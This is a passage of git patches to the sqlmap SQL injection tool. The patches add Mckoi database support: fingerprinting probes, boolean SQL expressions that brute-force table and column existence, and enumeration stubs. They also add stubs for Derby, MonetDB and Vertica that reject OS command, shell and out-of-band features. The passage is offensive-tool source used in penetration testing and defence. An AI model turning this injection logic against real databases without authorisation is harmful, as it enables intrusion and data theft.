inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), fullTableName))) + if Backend.isDbms(DBMS.MCKOI): + _ = randomInt(1) + result = inject.checkBooleanExpression("%s" % safeStringFormat("%d=(SELECT %d FROM %s)", (_, _, fullTableName))) + else: + result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), fullTableName))) kb.locks.io.acquire() @@ -197,7 +202,7 @@ def columnExists(columnFile, regex=None): errMsg = "missing table parameter" raise SqlmapMissingMandatoryOptionException(errMsg) - if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + if conf.db and Backend.getIdentifiedDbms() in UPPER_CASE_IDENTIFIERS: conf.db = conf.db.upper() result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (randomStr(), randomStr()))) @@ -250,7 +255,10 @@ def columnExists(columnFile, regex=None): kb.locks.count.release() break - result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (column, table))) + if Backend.isDbms(DBMS.MCKOI): + result = inject.checkBooleanExpression(safeStringFormat("0<(SELECT COUNT(%s) FROM %s)", (column, table))) + else: + result = inject.checkBooleanExpression(safeStringFormat(BRUTE_COLUMN_EXISTS_TEMPLATE, (column, table))) kb.locks.io.acquire() @@ -291,6 +299,8 @@ def columnExists(columnFile, regex=None): result = not inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s REGEXP '[^0-9]')", (column, table, column))) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE,): result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s NOT GLOB '*[^0-9]*')", (column, table, column))) + elif Backend.getIdentifiedDbms() in (DBMS.MCKOI,): + result = inject.checkBooleanExpression("%s" % safeStringFormat("0=(SELECT MAX(%s)-MAX(%s) FROM %s)", (column, column, table))) else: result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE ROUND(%s)=ROUND(%s))", (column, table, column, column))) diff --git a/plugins/dbms/derby/takeover.py b/plugins/dbms/derby/takeover.py index 432fa6f78..cd2bf4671 100644 --- a/plugins/dbms/derby/takeover.py +++ b/plugins/dbms/derby/takeover.py @@ -5,11 +5,24 @@ Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ +from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): - def __init__(self): - self.__basedir = None - self.__datadir = None + def osCmd(self): + errMsg = "on Apache Derby it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) - GenericTakeover.__init__(self) + def osShell(self): + errMsg = "on Apache Derby it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on Apache Derby it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on Apache Derby it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/mckoi/__init__.py b/plugins/dbms/mckoi/__init__.py new file mode 100644 index 000000000..8568be2b5 --- /dev/null +++ b/plugins/dbms/mckoi/__init__.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import MCKOI_SYSTEM_DBS +from lib.core.unescaper import unescaper +from plugins.dbms.mckoi.enumeration import Enumeration +from plugins.dbms.mckoi.filesystem import Filesystem +from plugins.dbms.mckoi.fingerprint import Fingerprint +from plugins.dbms.mckoi.syntax import Syntax +from plugins.dbms.mckoi.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class MckoiMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Mckoi methods + """ + + def __init__(self): + self.excludeDbsList = MCKOI_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.MCKOI] = Syntax.escape diff --git a/plugins/dbms/mckoi/connector.py b/plugins/dbms/mckoi/connector.py new file mode 100644 index 000000000..96c343e2e --- /dev/null +++ b/plugins/dbms/mckoi/connector.py @@ -0,0 +1,15 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + def connect(self): + errMsg = "on Mckoi it is not (currently) possible to establish a " + errMsg += "direct connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/mckoi/enumeration.py b/plugins/dbms/mckoi/enumeration.py new file mode 100644 index 000000000..c9bd17e85 --- /dev/null +++ b/plugins/dbms/mckoi/enumeration.py @@ -0,0 +1,84 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getBanner(self): + warnMsg = "on Mckoi it is not possible to get a banner" + logger.warn(warnMsg) + + return None + + def getCurrentUser(self): + warnMsg = "on Mckoi it is not possible to enumerate the current user" + logger.warn(warnMsg) + + def getCurrentDb(self): + warnMsg = "on Mckoi it is not possible to get name of the current database" + logger.warn(warnMsg) + + def isDba(self, user=None): + warnMsg = "on Mckoi it is not possible to test if current user is DBA" + logger.warn(warnMsg) + + def getUsers(self): + warnMsg = "on Mckoi it is not possible to enumerate the users" + logger.warn(warnMsg) + + return [] + + def getPasswordHashes(self): + warnMsg = "on Mckoi it is not possible to enumerate the user password hashes" + logger.warn(warnMsg) + + return {} + + def getPrivileges(self, *args, **kwargs): + warnMsg = "on Mckoi it is not possible to enumerate the user privileges" + logger.warn(warnMsg) + + return {} + + def getDbs(self): + warnMsg = "on Mckoi it is not possible to enumerate databases (use only '--tables')" + logger.warn(warnMsg) + + return [] + + def searchDb(self): + warnMsg = "on Mckoi it is not possible to search databases" + logger.warn(warnMsg) + + return [] + + def searchTable(self): + warnMsg = "on Mckoi it is not possible to search tables" + logger.warn(warnMsg) + + return [] + + def searchColumn(self): + warnMsg = "on Mckoi it is not possible to search columns" + logger.warn(warnMsg) + + return [] + + def search(self): + warnMsg = "on Mckoi search option is not available" + logger.warn(warnMsg) + + def getHostname(self): + warnMsg = "on Mckoi it is not possible to enumerate the hostname" + logger.warn(warnMsg) + + def getStatements(self): + warnMsg = "on Mckoi it is not possible to enumerate the SQL statements" + logger.warn(warnMsg) + + return [] diff --git a/plugins/dbms/mckoi/filesystem.py b/plugins/dbms/mckoi/filesystem.py new file mode 100644 index 000000000..45c76d130 --- /dev/null +++ b/plugins/dbms/mckoi/filesystem.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + def readFile(self, remoteFile): + errMsg = "on Mckoi it is not possible to read files" + raise SqlmapUnsupportedFeatureException(errMsg) + + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): + errMsg = "on Mckoi it is not possible to write files" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/mckoi/fingerprint.py b/plugins/dbms/mckoi/fingerprint.py new file mode 100644 index 000000000..3e1602f4c --- /dev/null +++ b/plugins/dbms/mckoi/fingerprint.py @@ -0,0 +1,93 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import MCKOI_ALIASES +from lib.core.settings import MCKOI_DEFAULT_SCHEMA +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.MCKOI) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.MCKOI + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(MCKOI_ALIASES): + setDbms(DBMS.MCKOI) + return True + + infoMsg = "testing %s" % DBMS.MCKOI + logger.info(infoMsg) + + result = inject.checkBooleanExpression("DATEOB()>=DATEOB(NULL)") + + if result: + infoMsg = "confirming %s" % DBMS.MCKOI + logger.info(infoMsg) + + result = inject.checkBooleanExpression("ABS(1/0)>ABS(0/1)") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.MCKOI + logger.warn(warnMsg) + + return False + + setDbms(DBMS.MCKOI) + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.MCKOI + logger.warn(warnMsg) + + return False + + def forceDbmsEnum(self): + conf.db = MCKOI_DEFAULT_SCHEMA diff --git a/plugins/dbms/mckoi/syntax.py b/plugins/dbms/mckoi/syntax.py new file mode 100644 index 000000000..dc6c66174 --- /dev/null +++ b/plugins/dbms/mckoi/syntax.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == u"SELECT 'abcdefgh' FROM foobar" + True + """ + + return expression diff --git a/plugins/dbms/mckoi/takeover.py b/plugins/dbms/mckoi/takeover.py new file mode 100644 index 000000000..eeb4aa562 --- /dev/null +++ b/plugins/dbms/mckoi/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on Mckoi it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on Mckoi it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on Mckoi it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on Mckoi it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/monetdb/takeover.py b/plugins/dbms/monetdb/takeover.py index 432fa6f78..921e01df7 100644 --- a/plugins/dbms/monetdb/takeover.py +++ b/plugins/dbms/monetdb/takeover.py @@ -5,11 +5,24 @@ Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ +from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): - def __init__(self): - self.__basedir = None - self.__datadir = None + def osCmd(self): + errMsg = "on MonetDB it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) - GenericTakeover.__init__(self) + def osShell(self): + errMsg = "on MonetDB it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on MonetDB it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on MonetDB it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/vertica/takeover.py b/plugins/dbms/vertica/takeover.py index 432fa6f78..4337628e4 100644 --- a/plugins/dbms/vertica/takeover.py +++ b/plugins/dbms/vertica/takeover.py @@ -5,11 +5,24 @@ Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ +from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): - def __init__(self): - self.__basedir = None - self.__datadir = None + def osCmd(self): + errMsg = "on Vertica it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) - GenericTakeover.__init__(self) + def osShell(self): + errMsg = "on Vertica it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on Vertica it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on Vertica it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 31be6fbae..5eb713b59 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -48,6 +48,7 @@ from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import CURRENT_DB from lib.core.settings import REFLECTED_VALUE_MARKER +from lib.core.settings import UPPER_CASE_IDENTIFIERS from lib.core.settings import VERTICA_DEFAULT_SCHEMA from lib.request import inject from lib.techniques.union.use import unionUse @@ -208,7 +209,10 @@ class Databases(object): logger.error(errMsg) bruteForce = True - elif Backend.isDbms(DBMS.ACCESS): + elif Backend.getIdentifiedDbms() in (DBMS.MCKOI,): + bruteForce = True + + elif Backend.getIdentifiedDbms() in (DBMS.ACCESS,): try: tables = self.getTables(False) except SqlmapNoneDataException: @@ -216,7 +220,7 @@ class Databases(object): if not tables: errMsg = "cannot retrieve table names, " - errMsg += "back-end DBMS is Access" + errMsg += "back-end DBMS is %s" % Backend.getIdentifiedDbms() logger.error(errMsg) bruteForce = True else: @@ -225,7 +229,7 @@ class Databases(object): if conf.db == CURRENT_DB: conf.db = self.getCurrentDb() - if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.DERBY): + if conf.db and Backend.getIdentifiedDbms() in UPPER_CASE_IDENTIFIERS: conf.db = conf.db.upper() if conf.db: @@ -256,7 +260,7 @@ class Databases(object): return kb.data.cachedTables - message = "do you want to use common table existence check? %s " % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]") + message = "do you want to use common table existence check? %s " % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI) else "[y/N/q]") choice = readInput(message, default='Y' if 'Y' in message else 'N').upper() if choice == 'N': @@ -348,7 +352,7 @@ class Databases(object): infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(db) logger.info(infoMsg) - if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.ACCESS): + if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.ACCESS, DBMS.MCKOI): query = rootQuery.blind.count else: query = rootQuery.blind.count % unsafeSQLIdentificatorNaming(db) @@ -375,7 +379,7 @@ class Databases(object): for index in indexRange: if Backend.isDbms(DBMS.SYBASE): query = rootQuery.blind.query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")) - elif Backend.getIdentifiedDbms() in (DBMS.MAXDB, DBMS.ACCESS): + elif Backend.getIdentifiedDbms() in (DBMS.MAXDB, DBMS.ACCESS, DBMS.MCKOI): query = rootQuery.blind.query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ") elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): query = rootQuery.blind.query % index @@ -454,7 +458,7 @@ class Databases(object): raise SqlmapNoneDataException(errMsg) elif conf.db is not None: - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.DERBY): + if Backend.getIdentifiedDbms() in UPPER_CASE_IDENTIFIERS: conf.db = conf.db.upper() if ',' in conf.db: @@ -514,9 +518,9 @@ class Databases(object): logger.error(errMsg) bruteForce = True - elif Backend.isDbms(DBMS.ACCESS): + elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI): errMsg = "cannot retrieve column names, " - errMsg += "back-end DBMS is %s" % DBMS.ACCESS + errMsg += "back-end DBMS is %s" % Backend.getIdentifiedDbms() logger.error(errMsg) bruteForce = True @@ -547,7 +551,7 @@ class Databases(object): return kb.data.cachedColumns - message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]") + message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI) else "[y/N/q]") choice = readInput(message, default='Y' if 'Y' in message else 'N').upper() if choice == 'N': @@ -665,7 +669,7 @@ class Databases(object): if conf.getComments: _ = queries[Backend.getIdentifiedDbms()].column_comment if hasattr(_, "query"): - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY): + if Backend.getIdentifiedDbms() in UPPER_CASE_IDENTIFIERS: query = _.query % (unsafeSQLIdentificatorNaming(conf.db.upper()), unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(name.upper())) else: query = _.query % (unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(name)) @@ -829,7 +833,7 @@ class Databases(object): if conf.getComments: _ = queries[Backend.getIdentifiedDbms()].column_comment if hasattr(_, "query"): - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY): + if Backend.getIdentifiedDbms() in UPPER_CASE_IDENTIFIERS: query = _.query % (unsafeSQLIdentificatorNaming(conf.db.upper()), unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(column.upper())) else: query = _.query % (unsafeSQLIdentificatorNaming(conf.db), unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(column)) @@ -935,7 +939,7 @@ class Databases(object): db = db.upper() table = table.upper() - if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): + if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MCKOI): query = "SELECT %s FROM %s" % (queries[Backend.getIdentifiedDbms()].count.query % '*', safeSQLIdentificatorNaming(table, True)) else: query = "SELECT %s FROM %s.%s" % (queries[Backend.getIdentifiedDbms()].count.query % '*', safeSQLIdentificatorNaming(db), safeSQLIdentificatorNaming(table, True)) @@ -963,7 +967,7 @@ class Databases(object): if not conf.db: conf.db, conf.tbl = conf.tbl.split('.', 1) - if conf.tbl is not None and conf.db is None and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): + if conf.tbl is not None and conf.db is None and Backend.getIdentifiedDbms() not in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MCKOI): warnMsg = "missing database parameter. sqlmap is going to " warnMsg += "use the current database to retrieve the " warnMsg += "number of entries for table '%s'" % unsafeSQLIdentificatorNaming(conf.tbl) diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index 5a903433f..74d664564 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -178,7 +178,7 @@ class Entries(object): if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY): query = rootQuery.inband.query % (colString, tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) - elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MAXDB): + elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MAXDB, DBMS.MCKOI): query = rootQuery.inband.query % (colString, tbl) elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): # Partial inband and error @@ -287,7 +287,7 @@ class Entries(object): if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY): query = rootQuery.blind.count % (tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) - elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): + elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MCKOI): query = rootQuery.blind.count % tbl elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): query = rootQuery.blind.count % ("%s.%s" % (conf.db, tbl)) @@ -325,8 +325,8 @@ class Entries(object): continue - elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL, DBMS.INFORMIX): - if Backend.isDbms(DBMS.ACCESS): + elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL, DBMS.INFORMIX, DBMS.MCKOI): + if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI): table = tbl elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): table = "%s.%s" % (conf.db, tbl) diff --git a/plugins/generic/search.py b/plugins/generic/search.py index 8da8c6786..0d359c875 100644 --- a/plugins/generic/search.py +++ b/plugins/generic/search.py @@ -148,7 +148,7 @@ class Search(object): bruteForce = True if bruteForce: - message = "do you want to use common table existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]") + message = "do you want to use common table existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI) else "[y/N/q]") choice = readInput(message, default='Y' if 'Y' in message else 'N').upper() if choice == 'N': @@ -350,7 +350,7 @@ class Search(object): bruteForce = True if bruteForce: - message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]") + message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI) else "[y/N/q]") choice = readInput(message, default='Y' if 'Y' in message else 'N').upper() if choice == 'N': From 2c19d168304680b2b6eb20ab3689ecf43cec8a65 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 23 Jan 2020 04:02:07 +0100 Subject: [PATCH 096/159] Patch for Python 2.6 compatibility --- lib/core/settings.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index c61bb55c7..6f0d99c9a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.36" +VERSION = "1.4.1.37" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -282,7 +282,7 @@ DERBY_ALIASES = ("derby", "apache derby",) VERTICA_ALIASES = ("vertica",) MCKOI_ALIASES = ("mckoi",) -UPPER_CASE_IDENTIFIERS = {DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.MAXDB, DBMS.H2, DBMS.DERBY} +UPPER_CASE_IDENTIFIERS = set((DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.MAXDB, DBMS.H2, DBMS.DERBY)) DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_")) From 5b1574614d326a1523b71a37c8b73518a5fa9023 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 23 Jan 2020 10:53:06 +0100 Subject: [PATCH 097/159] Minor patch --- lib/controller/checks.py | 8 +++++--- lib/core/dicts.py | 1 + lib/core/settings.py | 2 +- 3 files changed, 7 insertions(+), 4 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 13d7d1fc5..87676998a 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -97,6 +97,7 @@ from lib.core.settings import UNICODE_ENCODING from lib.core.settings import UPPER_RATIO_BOUND from lib.core.settings import URI_HTTP_HEADER from lib.core.threads import getCurrentThreadData +from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request from lib.request.comparison import comparison from lib.request.inject import checkBooleanExpression @@ -879,12 +880,13 @@ def heuristicCheckDbms(injection): kb.injection = injection for dbms in getPublicTypeMembers(DBMS, True): - if conf.noEscape and dbms not in FROM_DUMMY_TABLE: - continue - randStr1, randStr2 = randomStr(), randomStr() + Backend.forceDbms(dbms) + if (randStr1 in unescaper.escape("'%s'" % randStr1)) and dbms not in FROM_DUMMY_TABLE: + continue + if checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr1, SINGLE_QUOTE_MARKER)): if not checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr2, SINGLE_QUOTE_MARKER)): retVal = dbms diff --git a/lib/core/dicts.py b/lib/core/dicts.py index 679dc6f5b..c1aa9278f 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -208,6 +208,7 @@ DBMS_DICT = { DBMS.MCKOI: (MCKOI_ALIASES, None, None, None), } +# Reference: https://blog.jooq.org/tag/sysibm-sysdummy1/ FROM_DUMMY_TABLE = { DBMS.ORACLE: " FROM DUAL", DBMS.ACCESS: " FROM MSysAccessObjects", diff --git a/lib/core/settings.py b/lib/core/settings.py index 6f0d99c9a..b1a2835ad 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.37" +VERSION = "1.4.1.38" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From e8be9e4af44faa33206bf790e6d73f0f38e8c2c2 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 23 Jan 2020 10:57:35 +0100 Subject: [PATCH 098/159] Better patch (related to previous one) --- lib/controller/checks.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 87676998a..29fe25e00 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -884,7 +884,7 @@ def heuristicCheckDbms(injection): Backend.forceDbms(dbms) - if (randStr1 in unescaper.escape("'%s'" % randStr1)) and dbms not in FROM_DUMMY_TABLE: + if (randStr1 in unescaper.escape("'%s'" % randStr1)) and FROM_DUMMY_TABLE.values().count(FROM_DUMMY_TABLE.get(dbms, "")) != 1: continue if checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr1, SINGLE_QUOTE_MARKER)): diff --git a/lib/core/settings.py b/lib/core/settings.py index b1a2835ad..fdf25a0e5 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.38" +VERSION = "1.4.1.39" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 6b1f4965eda583755ab0e2d668877657fc9890dd Mon Sep 17 00:00:00 2001 From: Miroslav Stampar 